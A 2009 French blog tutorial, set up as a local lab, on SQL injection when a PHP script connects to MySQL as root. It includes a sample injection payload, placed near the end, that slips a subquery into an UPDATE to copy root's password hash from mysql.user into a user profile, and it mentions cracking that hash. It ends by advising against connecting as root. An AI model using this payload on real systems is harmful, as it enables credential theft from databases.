samedi 24 janvier 2009

ROOT@LOCALHOST a dit... faites le chien !

Et c'est là que tout le monde se met à aboyer, qui qu'on soit. Ca serait amusant, comme spectacle !
Bon, ok, le titre n'est pas très original, mais j'essayais de me faire comprendre de quelque manière que ce soit ; ce tutoriel traitera des injections SQL possibles quand on a les privilèges root avec.

Petit préambule pour ceux qui veulent pratiquer en même temps que l'article. Je suppose que vous avez un environnement apache + mysql + php à disposition. Connectez-vous en ROOT, et faites les requêtes suivantes :
CREATE USER SecondRoot IDENTIFIED BY 'toor';
CREATE DATABASE BaseDeRoot;
GRANT ALL PRIVILEGES ON BaseDeRoot.* TO 'SecondRoot'@'%';


Trois lignes de requêtes :
- La première créé un utilisateur sql nommé SecondRoot, dont le mot de passe sera toor. Cet utilisateur sera dépourvu de droit, il n'en aura AUCUN ;
- la seconde ligne créé une base de données BaseDeRoot ;
- la troisième ligne assigne tous les privilèges SecondRoot pour manipuler la base BaseDeRoot.

C'est un peu comme ça que font les hébergeurs web pour vous créer une base de données, en fait.

Ce qu'il faut savoir
Il existe des méta-bases, pour mysql. L'une d'elles s'appelle tout simplement mysql, et renferme les informations des utilisateurs, des privilèges etc... Une autre s'appelle information_schema, qui renferme les informations sur le nom des bases de données, des tables etc...

Aucun utilisateur autre que root lui-même - si les autres n'ont pas les mêmes droits que root - ne peut adresser de requête à la base mysql.

Faisons, par exemple, la requête suivante une fois connecté sous root :
SELECT Host, User, Password FROM mysql.user


Résultat :
+-----------+------------+-------------------------------------------+
| Host | User | Password |
+-----------+------------+-------------------------------------------+
| localhost | root | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
| % | SecondRoot | *9CFBBC772F3F6C106020035386DA5BBBF1249A11 |
+-----------+------------+-------------------------------------------+


On obtient la liste des utilisateurs. On s'aperçoit que root et secondroot on le même mot de passe, mais ça, on s'en fout. Ce qu'on aperçoit, surtout, c'est qu'on ne peut se connecter en root qu'à partir de localhost, donc impossible à distance. Quant à SecondRoot, on peut faire ça de partout. Allons un peu plus loin, et regardons les privilèges de chaque utilisateur :

SELECT User, Select_priv, Insert_priv, Update_priv, Delete_priv FROM mysql.user;


Résultat :
+------------+-------------+-------------+-------------+-------------+
| User | Select_priv | Insert_priv | Update_priv | Delete_priv |
+------------+-------------+-------------+-------------+-------------+
| root | Y | Y | Y | Y |
| SecondRoot | N | N | N | N |
+------------+-------------+-------------+-------------+-------------+


Voilà, c'était juste un exemple.

Imaginez le code suivant :
<?php
mysql_connect("localhost","root","toor");
mysql_select_db("BaseDeRoot");
//...
?>


On remarque que le script php se connecte avec les droits root. On peut donc aisément interroger la base mysql pour obtenir des informations sensibles, d'où le pass de root.

Exemples de requêtes :
UPDATE membre SET age=19
-- Et là, l'injection
, profil= (SELECT Password FROM mysql.user LIMIT 0,1) WHERE pseudo='Geo'; /*
-- La suite de la requête (par exemple)
WHERE pseudo='Geo';


Dans mon profil apparaîtra le hash de root. Il ne manque plus qu'à le casser, et ça peut prendre 10 minutes comme une décennie.

Conclusion ?



L'article n'était pas très long et explicatif, mais il nous a montré qu'il fallait plutôt passer par un utilisateur autre que root si nous voulons, à la base, manipuler une base de données associée. On peut, certes, accéder à information_schema (ce que nous n'avons pas vu, mais peut-être plus tard) mais en aucun cas à mysql.

Geo

(D'un côté, ça prouve que je suis encore en vie, hahaha !)